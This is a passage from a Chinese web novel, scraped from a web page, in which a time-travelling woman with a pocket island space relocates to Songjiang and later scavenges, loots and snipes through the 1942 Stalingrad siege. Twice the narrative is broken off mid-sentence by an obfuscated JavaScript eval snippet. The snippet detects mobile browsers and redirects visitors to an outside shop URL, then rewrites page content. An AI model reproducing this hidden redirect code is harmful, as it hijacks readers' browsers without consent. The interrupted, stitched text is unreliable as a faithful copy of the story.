再走,过去才知道海寇登陆有三处。其中两处冲进两个大镇,抢了很多东西和年轻女性走了;另一处本来想冲击县城的,但基本上都被杀或抓住了,没有集中处刑的消息。苏茜想,起码自己搞掉了八个海寇、十几条小船以及一艘艇,战绩绝对抵得上一支精锐小队,还是不领军饷的那种“大好人”!
走了,买只鸡犒赏自己
“家里人都没事,房子也是好的没遭贼寇,庆祝一下。”苏茜乐呵呵买了一大堆食材调味的,背着筐提着篮子走人。
自家这个“老婆子”居然没碰到劫盗,少了一点点战利品呢。这时苏茜忽略了自己没有皱纹的脸、比普通女子高大半个头的挺直身板,加之并不纤细的体态与背上明显有份量的篓子说明力气不小,真没人认为她老了。
不过她现在对着码头的客货商船发呆。海寇居然没有弄掉这艘大船吗?
“这个,我挺想回老家看看的,但是没有文牒路引,你能弄到吗?”她盯上一个看起来私下生意不少的船员问。
“大娘,远些的我们弄不到,本地的商户还是可以的。如果不介意,用放良商户家的人更便宜些。”
“放良的就行。定金多少?”大不了损失定金,但也许能成?
“五百钱。到手再付八两不还价。船资另算。”他转一道手就能净赚一两。
“好,”苏茜付了半两碎银,船员乐开花。
似乎八两半买个身份不算特别宰人,就苏茜看来包括自己有三单生意。对了,这船是去哪的啊?要不是实在不想自己划船,而且是近海航线,她是不会坐这类不靠谱的“古代”海船的。
半个月后,苏茜拿着文牒路引上船后才知道,船资这么贵,主要是目的地挺远的:淞江。
自己干嘛不问清楚只买到广城啊?!哦,这年月的广城冬天搞不好会下雪的。
要不是现在是初秋,只有薄棉衣的她根本不会兴起问船的事。
行吧,就当二十多两高价买了个身份。她躺在包下的小舱室里,内部是两个小铺,正常睡俩,加上凳子箱子改为通铺最多可以挤四个人,所以她付了两份船资十好几两银,只提供喝的淡水不包饭。
这种糟糕的条件反而对苏茜有利,喝的水是自取的,也就是关上门可以万事不理。所以她关上了门直接回岛,舱室里夸张地连行李都没有。
这个航程最短半个月,最长都说不好。所以苏茜每两天会出一趟舱室,用自己的小锅装一锅清水回去,顺便问下到哪里了。
除了中间躲避风暴差点颠覆外,船花了足足二十天才到淞江。
这个时代的海城啊,也就是个小县城。
苏茜觉得自己是不想浪费船资才一路跟到这里。但反过来想,这个三角洲从唐国之后始终是最发达的地方,广城只有一个城,而这里繁华的市镇密布,“黑户”哪哪都能待。
哦,自己不再是黑户的,是回乡的。
扼腕啊扼腕,当时怎么不说自己是广城人,这样可以一直待在还算暖和的南方了。
江南的湿冷她可是非常清楚的,加之小冰河期的威力……穿着薄棉衣,苏茜下船第一件事就是买棉衣,厚薄棉花的、丝棉的,衣裤裙袄都要,主打一个要温度不要风度。
不过棉裤用的是裙下有裆阔腿裤的样式,腰带定做了抽绳式,长长的裤腰带、束脚肥裤加一双小脚的造型实在太辣眼睛了。
等两家裁缝铺做好完全没有剪裁样式可言的衣服后,苏茜已经买齐了各种厚度的棉被垫被,还找了第三家布料店买了棉布自己缝制好了被套——不是不舍得让人做,而是没人理解她要干嘛。
然后,她就找到了“回”淞江的意义:螃蟹!大闸蟹啊!
日啖荔枝三百,夜吃螃蟹三只,都是人间至美。尤其是仪式感十足的蟹八件,一个个用过去,一只蟹配温黄酒吃半小时,再加一小碗米饭和一份炒蔬菜,完美。
32.我和我的城(一)
“他们打到伏罗希洛夫了!该死的德国人!该死的罗马尼亚人!该死的!”邻居瓦列里大叔光着膀子边挖战壕边小声咒骂着。不是他不想大骂,而是不想浪费力气。
大家都想过逃出这个可能成为战场的地方,可是去哪里呢?听说北边、东边、南边都是战场,而西边直接是敌占区了!报纸上刊登的女孩子血液流干后的残缺尸.体照片让他都不敢将报纸拿回家给女儿们看,听说这照片是被用来震慑德占区民众的。但己方报纸登出来是为了同仇敌忾。
“我倒是希望他们来,这样就能分到一支木仓。”用筐搬土的苏茜力气大得一点不像是十几岁的女孩子,更像个女战士。身体本来就属于比较有力量的类型,“觉醒”后更加拼命。1942年夏季的伏尔加格勒,哪怕是个棒槌也知道性命堪忧。不认真练功夫是会死的。
“宝贝,你爷爷和爸爸都阵亡了,他们是英雄,你不要太过……努力。”这样很难嫁出去的好不好。连他自己也不乐意女儿摸木仓,女孩子漂漂亮亮、开开心心的就行。
但战争不会让女孩子们漂亮开心。
“我参加过女子射击训练营。”她是参加过,但是在“觉醒”前,效果可想而知,纯粹是小姑娘好玩,静态二十五米左右距离的八环都没上过,是垫底的那一拨。
“哦,对了,苏珊娜,你妈妈呢?我今年都没见过路德米娜几次。”按说他家住一楼,碰到的机会更多。
“你知道她的新男朋友吧?一个军医官?”想翻白眼。所以苏茜顺从心意翻了个大大的白眼,那家伙一看就是嘴巴花花,从女人们身上找好处的玩意,真不知道老妈看上对方什么。
“……哦!”说实话,鳏夫大叔本来对寡妇路德米娜也是有点想法的,当初只是犹豫这么个长相不出挑的到底值不值得花心思追求,现在也不用想了。
“她去当护士了。我让他们带上弟弟,他也快十四了,可以做不少活。”实际上小弟是当做预备役被母亲带在身边的。他因为小时候生肺病的关系,长得瘦小、体质也差,一直达不到入伍的标准,但以后兵员短缺的时候,这点年龄上的问题不是障碍。现在的战争也不是百年前哪般需要身强力壮。
“这几个月都是你一个人在家?!”大叔惊呆了!这姑娘还不到十六吧?路德米娜在想什么!
“我还要上学。”苏茜一身男孩子的打扮不说,回答的话也文不对题。问题是,现在学校放假,目测以后也不用上了,直到战争结束。东线战场的伏尔加城,再过几天,或者十几天,几个月,这个城市除了废墟和尸.体,什么都不会剩下!编年史里说这场东线、或者说人类史最惨烈战役是7月17开始,历史199天,死亡200万,然后就没有了!没有了!具体一个个鲜活的人是如何死去的、如何活下来的,提都没人提。
所以,自己如果一直躲在岛上,是可以熬过去的,是吧。她一个哥萨克与犹太人的后代,也不需要太过焦虑啥,总之自己的血统在这个国家不是那么受欢迎便是。从血统习惯上说,浅色头发、浅色眼眸的她算是犹太人——说出去真没人信,她祖父就是浅色头发棕色眼睛了,父亲的眼睛偏绿,她直接是偏金色,她妈妈则是深色头发浅色眼眸。所以,她那个不靠谱的恋爱脑老妈路德米娜为什么给她取个这样一个既不哥萨克也不斯拉夫的名字,而老爸也不改正?!不过说起来,哥萨克其实包括了很多民族甚至还有德意志……也许那个时候路德米娜正对着一个德裔帅哥发呆,然后随口取的名。
苏茜送完一趟土,瓦列里大叔低声道,“你这样太危险了。早点想办法离开吧。”
苏茜摇头,“我无处可去,路德米娜其实不喜欢爸爸和我……我们爷俩是哥萨克,哥萨克不怕打仗,不怕死!”其实这说的是哥萨克男人。她弟弟……一边去,不谈。
“唉……”这世道,女孩子都是这样被逼成男人婆的。
“大叔,你家地窖挖好了吗?”
“我们几个邻居一起做了一个小的防空洞,你记得也来。”
“没事,我一个人跑得快,而且我在面包店免费打零工,我看中那边的地下室挺结实的。”主要是看中那里的面粉和其他食材,挨饿的滋味太不好受了,她受不了天天吃鱼干海带汤,尽管这辈子的自己没有海鲜过敏,即便没什么好调理也依旧挺喜欢那种微腥无刺的口感。于是在觉醒后,第一件事就是花掉所有“积蓄”买盐糖之外的去腥调料,尤其是便宜款的伏特加。
“可那不是防空洞吧?”
“那里有吃的。大叔,如果很糟糕的话,别管什么,先管好自己。多带衣服、靴子,水,还有硬麦面包,谁知道会打多久。”她也不知道能否撑过199天,不行就勇敢地迎上炸.弹……才怪!再有海鲜和海带,没有碳水、没有维生素、没有药物,自己还是会早早完蛋的啊!
“你说,这战壕……”
“总有作用吧,陷住坦克几秒钟,也能扔个反坦克手雷。”学校里有兴趣班,她多少了解些。
“我听说……”反坦克武.器都是战士们冲上去攀住坦克引爆的……当钟表修理工的瓦列里哽了片刻,他侄子是坦克兵,阵亡了。“你有手表吗?厚毯子够吗?面粉够吗?”
“其他都有,手表,有没有无所谓。太清楚时间会加重忧虑的。”她打算撬大叔工作地点的门,但这不能说哈。毯子面粉都不够,只是她花了十几天时间全部踩好点了,包括中央百货大楼的柜台、仓库和厕所的位置。她只记得有个德国将军战役结束后就是在百货大楼地下室被俘的,那里应该没有受多大伤害,但更具体的就不知道了。这场战争里的事情太多太多,而她的这座城市是其中最惨的,比当年的渝城惨得多,也比当年的金陵有血性得多,绝没有麻木地被虐杀的,侵略者、守卫者乃至城市平民都死得差不多了……
瓦列里无声叹息。想跑,无处可去。就这样吧!但愿能活到战后,其他的就交给上帝了。
干到天黑时已经晚上七点多了,温度明显变凉。光胳膊光腿的人们虽然都标榜俄国人不怕冷,但也加快脚步回家,感冒了可不好玩。
药房也在苏茜踩点的清单里,但那里已经军管,所以她决定明天先去正常购买。还有棉靴,去年的靴子已经嫌小了,肯定要买大两号,搞不好要撑到三年后,要不大两号和三号的都各买两双,再加上常见药和速溶咖啡,大概就能将家里所有的卢布都花完了。其他物资,必须在成为废墟前准备好。她上辈子存放的东西,有些还能用,有些确实不行了。至于贵金属,可能得四十年后才能动用来改善生活。
入夜,苏茜披上外套,带上可以吃三天的两整条面包,还在营业的店铺就都打烊了。酒店和百货大楼开始限时营业,水电还正常,煤气则不太正常。
苏茜步行去城北的林地砍树。她没多少钱,体质体能倒还行,而且这个年纪和性别,即使碰到巡逻士兵看到她偷砍树也不会多说什么。话说她拖回来的只有一棵不算粗壮的树,其他都在岛上。第二天晚上继续砍,这回还有个战士帮她拖回家——才一棵不成材的“小”树,真不是什么事。
“谢谢您!”苏茜摸出一小瓶酒给对方。
“没事,谢了。多保重。”
谁都不知道对方能活多久,但过一天是一天。
路过冰淇淋售货亭时,苏茜多看了几眼,还伸手晃了晃:这好像是做好的木板房,然后运来放着的,可以收走!
附近的杂货店贴出告示,明天起不营业,一时间店里的东西被抢购一空。
“苏珊娜,我们还会营业下去的。人民需要吃面包。”经理对着苏茜喃喃道,“只要面粉够,我就会一直做下去!直到……”直到我死。
“好,一直做下去!”苏茜也给自己打气。百货大楼也快了。他们的货品多,很多都不是必需品,不会卖光的。所以自己的机会很快。面包店做完,去战壕帮忙,然后回家。苏茜的一天看上去极其繁重。
实际上她的劳动量是翻倍的。
树是不砍了,她开始蹲守关门歇业的店。
第一个就是大叔工作的钟表店修理。撬门工具都是上辈子的,虽然生锈,但还能凑合用。只是吧,里面基本都是零件,没有钱——有也没用——完整能走的钟表很少。苏茜只摸出来两块能运行的手表和一个老旧时钟,不得不将锁头原样挂好。估计这店不会有人也跑来搜索物资什么的。
接着就是罐头食品,以及各种能储存的食品。但是食品店仍然非常敬业地继续开着,她不能摸进去;杂货店里的罐头大部分都卖光了。她好容易找到一家歇业但似乎还有点货放在架子上生灰的店。摸进去找,除了架子上卖不出去的几样腌豆,其他都没了。点上蜡烛摸下仓库,却发现只有一些大件无法搬动的东西,可以吃的都没了。看来很多人还是想着自己的。
她将三年内能用到的东西包括橱柜全部收下——可惜没有蔬果奶制品这样的“热门”货——出来时差点被巡逻队碰上。躲到岛上后,计算了下路线,干脆抱着两条床单出岛,大大方方去河边清洗。
士兵们见是个晚上出来洗床单的小姑娘,只是温和地让她注意安全别落水就走了。
所以,高尚的军人都死在伏尔加格勒了吗?
她望着那一队战士的背影,觉得脸颊发凉。也许这是前后千年的时光里,唯一一次为不认识的人流泪。
* * *
“明天的黄油都不够了,牛奶也不不一定有货……我听到了轰.炸机的声音,真的……同志们,我不去地下室,我就在这里。”快五十岁的经理布拉莫夫看着仅剩下的三个员工。“你们都回家吧,找不到防空洞就在这里的地下室也好。”多活一天是一天。
除了苏茜,其他两名男员工并不留下,而是各自分着扛了几袋面粉回家与家人一起硬扛。
“苏珊娜?”
“家里就我一个人。算了,我们关门吧,然后我去商店里看看。”
商店?现在还有开门的商店?布拉莫夫看看这个跑来做白工蹭饭吃的小姑娘,不打算深究了。兴许自己明天就死了,还在意那么多干嘛。
大家都扛了不少食材回家,包括苏茜,她将黄油、奶酪等好东西让给其他老员工,只扛了一袋全麦面粉和一大包酵母粉,以及不少果干和坚果,在一个没人的角落塞进岛上。面粉只够几个月的碳水,食材仍然不够,回头得再来拿。
路上的冰淇淋售货亭还在麻木地营业着。但是售货员对偶然来买冰淇淋的孩子说:回家吧,明天开始不营业。
物资出现问题是应该的事。平民不是很清楚前线的战况,报纸也断断续续的,不过有一条最高命令已经广而告之、人人知晓,还刷在很多的墙上。
“绝不后退一步”
因为无处可退。
有“门路”的居民都走了,留下的是在大后方比如西伯利亚没有任何亲戚可以投靠,更没有后方安全地点工作岗位的人。另外,政府职员更没得跑,跑了就是死刑。
可大家手里仍然没有分发木仓支。
没有武.器怎么保家卫国?
这里也防民吗?苏茜将疑问放在心底。她知道这段历史和了解详情完全不是一回事,更何况,了解详情也没法轻易活下去啊!她只看到评论,敌军俘虏和城里平民,都是几十万只活下来几千,军士更惨……
蚊虫依旧不少,但夜间比较凉快。记载里的战役应该是打响了,可更细节的不记得。
苏茜在面包店关门后摸进去带走了仓库里剩余的大部分食材。布拉莫夫去参加了民兵组织——后者不要女人,没成年的女孩更不要。
在踩好点的百货大楼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17074297|193506||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后门附近的公厕里回岛上整理物资。这几天太忙太累,都是吃现成的面包和沙拉,直到将家里和身上所有的卢布戈比都花光。
草草吃掉从马上关门的路边店买的食物,躺到收拾了一个多月的破屋。屋子里倒是有比较完好的密封罐子,现在保存的都是食材,还有过期后还能放一段时间的罐头。
整场战役199天,现在过去多久了?每一世可能具体日期有变,这次也许是17日,也许是15日,也许超过200天,所以一切皆有可能吧!
岛上现在有四个不同样式的炉子,一个古典烘烤炉,一个传统小煤炉,一个可以烤半只羊的桶状炭炉,还有一个小炭炉可以烧煤块或木头或炭,走廊也破旧漏水,当初用水泥重新做过的水平地面还行。
比如上辈子存下来的布料、工具、家具、冷武.器和家具用品等,以及这段时间买的、分的、“借”的、“拿”的东西。木头、木炭和煤块等则是在另一个山洞,且上辈子存着的燃料都还能烧,就是木头烧的时候仍然有黑烟。
忙到晚上,三只钟表都是九点多了,只是分钟都不相同。苏茜一身深色长袖长裤出来公厕,以最快速度撬门。但撬不开!用了上上辈子的存下的生锈工具钳,居然搞定了。
溜进百货大楼。楼里是有守夜的,而且还算尽忠职守,可惜只是一名被剩下的老人——迟早会死。苏茜避开了这个明显喝了酒过一日算一日的老人,一楼到二楼,所有的可能用得上的柜台,从服装鞋帽到蜡烛手电筒望远镜干电池,罐头酱料咖啡茶叶到酒类,连柜台货架一起搬空!
只留一些包装食品、面包点心等。
战役肯定已经打响,城里能听到炮声、爆炸声,这些东西与其留着资敌,还不如由她拿走。其中不少东西能放到通货膨胀时期呢!
凌晨时,收获满满地离开百货大楼,进公厕,回岛,洗洗躺下睡。这次苏茜睡到第二天下午才起来。先吃了块还没变质的面包,然后出海捕鱼。小船也是上辈子留下的江南乌篷船和几张渔网钓竿。海钓的话鱼饵比较麻烦,因为岛上没有蚯蚓,只能弄贝肉、小鱼小虾之类,效率低下,两个小时都下雨了还只收获三条不大不小的鱼。苏茜干脆冒雨上渔网,这次稍微好一些,水桶里总算有了十几斤鱼,可以回去做鱼干。
岸边礁石区的贝类她暂时留着,总有划不动船又得补充蛋白质的时候。
回到一排炉子那里,忘记预热烤炉了!所以改为吃面条。
这个面粉不太适合做长面条,但发酵后的面块切成短条,下水煮熟,加上明火烤的鱼肉和最后一点叶菜,口感不赖。
上辈子没有收藏不锈钢餐具,都是这辈子家里的,当然没有筷子。叉子也行,她的技术好着呢!用小锅煮咖啡粉,再小心倒在青花瓷大海碗里,加上最后一点鲜牛奶做成奶咖……也是挺复古的操作呢!
第三天,似乎还没打进来?
菜场不再营业,里面即使还有食物也都变质了。
天刚黑,苏茜回到“家”,里面现在除了无法搬走的,其他全部在岛上了,导致岛上露天都堆了很多不怕淋雨的东西。苏茜从岛上拿了“礼物”,然后敲一楼对门的门。
“瓦列里大叔,”大叔开门,她塞过去三袋面粉和一大包果干,还拖来三分之一棵树的树干,包着果干的其实是一条半旧厚实毛毯。“你拿着,这是我们店里的。”
“……谢谢”明显苍老疲惫的瓦列里紧紧握了一会她的手。
“好好活着!我现在就离开家了。”苏茜轻声说完,摆摆手,替他关上门。
转身往店里而去。
今天已经是几号来着?有些记不清了。但刚才,她确实听到好几阵的飞机声。
路过几个关门的售货亭,她左右看看,无人,直接将还有少量货品的亭子收走,然后再回去面包店。地下室已经被征用了,一群士兵正在进进出出。
“面包店已经关了,没东西卖了。”一名士兵对有些茫然的她道。
“哦,我之前是店员,现在回家。对了,能给我两支木仓和足够的子.弹吗?我参加过女子射击训练营。”苏茜握拳做了个展示肱二头肌的动作。
“……哦,当然,你几岁了?”一名士官踱过来问。
“十七。我在店里做暑期兼职。”她多报了岁数。
“准头怎么样?”另一个看热闹的士兵问。
“我十四岁的时候就能打中靶子!”苏茜理直气壮。因为这是真的,就是上靶和十环差了很远。“现在年纪大一些,力气更大,肯定更好。”
“……”哪个丧心病狂让十四岁的小姑娘去练打靶?
“我爷爷和爸爸都阵亡了,他们都是勇敢的哥萨克,我也是!所以,请给我两支步木仓和子.弹。”
“给她。”走过来看热闹的士官点点头,可能是那句哥萨克打动他了。
“你能带走多少子.弹?”一名有些好笑的士兵领着她去地下室。
苏茜刷地展开帆布袋,“我能拎多少就装多少。”
“……行吧。”连同包装盒,撑死三百发。
三种步木仓,苏茜选了久仰大名的莫辛纳甘,一支是带瞄准镜的,另一支士兵说什么都不给瞄准的,只能拿普通的。加上两百多发7.62。
“我一定会立功的!杀一个也值得牺牲了!”苏茜背着两支步木仓,拎着一袋子.弹,还半抢半拿了一个反坦.克手.雷,对士官行了个不标准的军礼,冲其他士兵挥挥手就走了。
“……可怜的孩子!我看她根本没有十七岁,可能都不到十五。”一名有点年纪的士兵喃喃着。这个年纪的男孩都不一定上战场。
“大家都一样。她算是乐观的,兴许就能活到战争结束呢。”而他们,大概是活不到了。“打起精神来!以命换命都是值的。”
33.我和我的城(二)
苏茜是非常高兴的。第一次正经领到制式武.器,兴奋了好一会才平静下来。
售货亭里关了电源,自然没有冰淇淋,但昨天才关闭营业,白天温度不是特别高,所以牛奶等至少到今天还没变质。苏茜吃了个牛奶饱,另外有不少厨具、容器都是可以用的,包括售货亭的木板也可以砍了当柴烧。
对了,家里只有斧子没有锯子,所以她又出去找工具店,从隔壁的隔壁一间空荡荡应该是被居民们搬空的店铺闯进去,将剩下的一点东西全部拿走,但纸币硬币等等一概不碰,这玩意一点用都没了。
她可以有“拿来”的物资,但不应该有钱。
以及自家这栋居民楼。
四层的砖石结构,早前应该是一名实力不错的商人建的,并非工人宿舍那种卫生间和厨房共用的筒子楼,结构不是很对称,一共有十户人家,面积大小都不相同。她家是一楼,面积是最大的一间,水电煤电话齐备,窗外还有个小花圃,算是条件不错,就是卫浴设施差劲,但自家有个独立厨房。
花圃无人打理成了杂草堆。苏茜家里的窗帘都是拉上的,门窗也是关着的,只留了个气窗。水电煤已经出了问题,电话线断了。整栋楼肯定还有活人在家,但一片死寂,夜间无灯。苏茜摇头叹息着,回岛上睡觉。
早上起来先预热烤炉,洗漱吃杂粮麦粥当早餐,吃完发酵面团,整理一个应急包裹,再制作坚果和罐头水果面坯,然后钳出炉子里还在烧的木头浇上水,将面坯放进去,关上炉门。她的火候掌握得不是很好,但大概也有数,等差不多了,打开炉门。一股麦香扑鼻而来。
面包好了。做得不算完美,但总体还可以。苏茜拿个罐头以及面包回到家中时,意料之中地听到不远处有爆炸声。她从门里跑出来,楼里依旧什么声音都没有,显然人都跑光了。
她沿着墙穿过几棵树,顺手都砍了。一架轰.炸机从这片居民区略过时,她正在另一栋居民小楼墙根休息。不远处,突然一阵爆炸和震动。街对面一栋五层楼塌了一块,烟尘火星乱飞,很快就着起火。
地面上的感受与影视剧里那种炸.弹呼啸而过的声音完全不同,因为是低空俯冲轰.炸,都来不及反应。
苏茜有段时间没有回过神。等意识回炉立刻回到岛上,洗掉这一身穿了两天的内外衣服。接下来她就不可能有干净衣服穿了,最多是水里漂一下就拎起来,且珍惜吧!
……
夜里再次出来看情况的苏茜差点被飞过来的建材削死,立刻躲回岛。她并不想挑战自己的运气,一个敌人都没干掉就死于轰.炸,甚至最惨的是重伤后几天才慢慢死去,太不划算了。
怎么也得绑着手雷冲上去同归于尽!
她脑袋里转过无数奇怪疯狂的念头,一晚上都没睡好,到第二天中午喝了一口速溶咖啡才彻底清醒。速溶咖啡粉放多了,没有牛奶更没放糖,一口下去奇难吃无比,差点吐出来。赶紧加水稀释,然后还是放了一块方糖,这味道才稍微好些。早知道就不拿那么多咖啡了,从刚才的口感来看,每天三杯可以喝三年!而刚才有些恍惚地放了一汤勺的速溶粉,至少是三杯的量——汤勺是比较大的汤勺,真不知道自己那时在想什么。
傍晚时分,她又出来。好像隐隐听到河水的声音,但也就几声。再前面那个街区才是河景房,但不是居民区,而是一些公共设施,还有个改建的酒店。苏茜压根不知道敌人的行进路线。最要命的是,昨天还存在的居民楼,今天只剩下一半。
她犹豫着,等到岛上傍晚才再次出来。外面的天刚黑下来。没有路灯只有火光,即使视线不清也能看到断壁残垣的模样。
往自己家走。头顶不远处仍有飞机的声音,不远处传来爆炸声。四面没有人声、没有鸟叫。也没有木仓声。她沿着断壁残垣走了一条街——现在连走路都不顺当了,道路全是坑和建材,还有些散落的物品,也许还有人体组织,但晚上看不清楚。
苏茜花了大半小时才回到自家楼前。这栋楼就只剩个两面大概三层楼高的墙和几处倒塌的天花板。她认真辨认着,鼻子里全部是焦糊味。脚下,突然踩到一个软的东西,打开手电,是三楼邻居大妈的尸.体。她立刻关上手电,回到岛上跑到抛.尸扔垃圾专用海岸边,也就是山的另一边,然后将大妈尸.体拉进来,留下一块手表作为遗物,然后直接扔海里。
医院和药房之前都已经军管,所以苏茜只有买来的,没有趁乱摸到什么。好在杂货店仓库里的几架子劳保用品里有很多纱布手套口罩和帆布袋,百货大楼里也有不少皮手套,就是没有防毒面罩。她突然想到以后碰到尸.体该怎么办,放着闻尸臭?
就清理掉待的地方的尸.体吧,然后留下有价值的遗物后抛了。
瓦列里大叔家整个毁了,她家的厨房居然还存在着!就是长宽高完全改了,还三面漏风。苏茜先回去吃喝洗漱睡觉。
香皂牙膏足以用到保质期过去一年还有得剩,牙刷有三大盒好几十支,这个有各种用处还是多多益善。毛巾很多,很多。包括卫生纸也是。看着卫生纸,苏茜无比想念很久、很久之前的卫生棉,就这样想着,腹部开始疼痛,感觉也不对,她赶紧去换纸。果然不规律的重大打击之下,经期也不对了。
不行,得好好修炼!不然这身体支撑不了多久。
像血崩一样的状况,让苏茜在石屋里坐不是躺不是站不是了两天。岛上现在天气不冷,白天还挺热,夜里她就生个火炉,破门破窗都是开着的,不到两个小时就要换一叠卫生纸让她有些被吓到。不得不勉强给自己弄点吃的喝的。好在第三天情况就好很多,不疼痛,也能睡五个小时不惊醒。第五天就活过来了,洗掉弄脏的半身裙和毛巾床单——因为洗涤用品不给力的缘故,这裙子以后只能成为夜安裙了,一起塞进紧急包裹里作为耗材。
等回到自家厨房,轰.炸正在进行中。
苏茜再次逃回岛上。她不想用胸膛直面木仓炮,倒是可以练练木仓。
鉴于天赋问题,自己的动态视觉一般般,在没有法术的支持下,移动靶子想中靶都不容易。尤其是子.弹只有区区两百多发,也就是说固定靶练习用子.弹都不足,更不要说移动靶。也因此,苏茜一边每天四个小时的练武修炼以改善体质,一边摸索两支步木仓,尤其是瞄准镜的用途。准星缺口她还是知道的,但瞄准镜的关联就不一定了,何况她可能会在自然光线非常糟糕的夜间出没,而不是白天成为别人的活靶子,那么瞄准镜的地位更重要。
海岛上的风,与秋季城市废墟里的风一样难以捉摸。尤其是夜里,甚至无法看清风向风力参照物。在耗费了三十颗珍贵的子.弹后,苏茜才大概摸清自己的能力水平——50米内还有三成可能打到一点,之外的话纯属撞大运,除非紧急情况最好还是不要打草惊蛇。
自己跟狙击手之间还有有上万发子.弹加亿点点天赋啊!至于王牌狙击手几百米外一木仓一个,对她而言完全就是神迹。
浪费了好木仓呢!她抱木仓长叹。
* * *
今天的轰.炸少到几乎没有。苏茜在厨房里待了大半个白天,都没听到有爆炸声,不过仍然听到两次飞机略过头顶的声音,距离很近,说明是低空飞行。
今天是9月十几号来着?她没将日历带进石屋,现在对日期一时没了概念。没有明显的木仓声,炸.弹或炮.弹的声响也没有。起码敌人没有堆进到附近吧?苏茜没敢出门,在自身难保的情况下,也无力救援其他平民、去考验其他人的人性。
入夜后她将地面痕迹全部清光后出发了,朝着火光的方向前进,穿着斗篷,戴着口罩,背着支没有瞄准镜的木仓,满盒的子.弹。
这是寻找死路。
也是寻找战功。
谨慎地绕过一个个废墟——整片区域没有一栋完整的建筑,没有人声,只有各种气息仍然透过口罩传进鼻子。
死了很多人。甚至脚下也有可能踩到踩肢,让她瞬间回到当年,不,其实是同时代的缅甸战场和白骨小道。
不想不想。
行进了直线距离大概一公里,前面似乎有声音!苏茜立即躲进旁边一栋结构半完整的小楼,之前大概有四五层楼,反正现在只有砸穿的天花板,倒塌一半的墙,以及一些残存的隔断墙。
换上有瞄准镜的那支木仓,同样子.弹满盒,再在掩体后用望远镜观察。没有!什么都没有!再观察,还是没有!
搞不好,是自己人?
苏茜眯起眼,收起望远镜,缩在掩体后。等了会没动静就干脆回岛上睡觉去了。好在离开岛时是在走廊外,一回来直接可以将衣服鞋子全部扔水渠里漂洗一下,再晾在走廊外空地,让阳光、雨水和风解决上头沾染的各种东西。
第二天清晨,苏茜活生生饿醒。十五岁仍然是长身体的时候,再多碳水脂肪蛋白质维生素膳食纤维都不嫌多。何况她确实消耗很大,那一公里多的距离比山路还难走,加之精神紧张、消耗更剧。
昨天剩下的半块面包加上一个水果罐头,再去海钓些鱼。不过钓鱼半个多小时没收获,鱼饵三次被吃掉!气急之下,拿出渔网,下网,再划船。等捞起来的时候才发现这玩意堪称绝户网,小鱼小虾都一起捞了,而一只八爪鱼居然还想从细细的网里跑掉!赶紧将小鱼小虾都扔进海里,八爪鱼和其他鱼都放入有半桶海水的桶里。
没有螃蟹。
她还去海带林——谢天谢地这海带都存在上千年了——趁着天气不太冷、自己的身体还撑得住,割了不少海带回去,一段加餐,其他一大捆和剩余的鱼一起烘干水分存放。
烤炉好了,烤两个硬面包和两条海鱼,烤好了蘸着海带汤吃。继续烧炉子,再烤个苹果西红柿酱洋葱培根披萨——简单粗暴不好吃的版本,因为几个洋葱和苹果不行了,得吃掉。这样就到了晚上七点多。岛上天黑了,外面也日落了。喝一壶咖啡茶——品质一般的咖啡粉和中亚茶叶一起煮,不存在口感好不好,纯粹是补充水分和提神——苏茜准备好望远镜、木仓支、和匕.首,雄赳赳气昂昂地,缩在掩体后。
观察。
没有敌人,没有自己人。也没有平民出来找死。苏茜不知道那些自己挖的防空洞效果如何,也不想体验,更没想过去察看情况。
会不会晚上没人出来了?苏茜决定再等两个小时。这时节伏尔加格勒的夜间气温不高,坐久了是会冷的,所以她披了毛毯,坐在折起来的地毯上——感谢百货公司的慷慨赠予。
远处,有机械声,有隐隐的人声,虽然听不清,但应该不是俄语。可从掩体这边看120度左右视野里仍然没有人。
苏茜觉得自己紧张兴奋得不行……赶紧回岛方便下,顺便将毯子地毯都带回去。
再出来,细细倾听观察,居然在没有声响、没有火光的一处地方发现,德军!德军吔!就是,起码两百米……
不行啊!打不中啊!苏茜沮丧地几乎想哭。
这时突然一声木仓响。其中一名站得比较突出的敌人倒下,伤处不在苏茜的观察方向,而其他人受惊猛蹲开始摆木仓杆。
好像就是下意识觉得应该做,苏茜也开了木仓,两木仓。走狗屎运地居然打中一个,打伤是肯定的,不一定立死却肯定失去立刻投入战斗的能力。她立刻按照之前看好的路,往另一处废墟飞跑——应该与第一木仓的方向不一样。
声音嘈杂,大灯也在扫来扫去,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17079843|193506||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
苏茜已经在第三处废墟的墙根处找到一个不错的位置,在敌人的巡逻队伍分兵两路搜索的时候回了岛上。
她很确定,另一位木仓手是真正的狙.击手,准头比她好多了,一木仓击中头部毙命,而她能打中已是鸿运当头。她很努力地回想瞄准镜里对方的反应,应该是躯干上,她也确实是瞄准胸膛部位,不过不能肯定打到哪里……反正那人没法第二天就在伏尔加战场打仗,要么慢慢死,要么送去后方最后被俘,嘿嘿。
现在是凌晨一点多,苏茜完全没有睡意,放下武.器,就着快烧到头的蜡烛马灯的光线洗干净手,摸出来冷掉的披萨啃掉半个,再漂洗一下衣服鞋子——没有填子.弹,因为完全没有经过系统训练的她知道这木仓膛里还有一颗子.弹,但如果中途加多了或少了会不会出现问题就不明白了,所以干脆留着下一回用。下次打完三发,啊不,两发其实就说明她不是个好手,三发肯定会暴露她是菜鸟的事实啊!
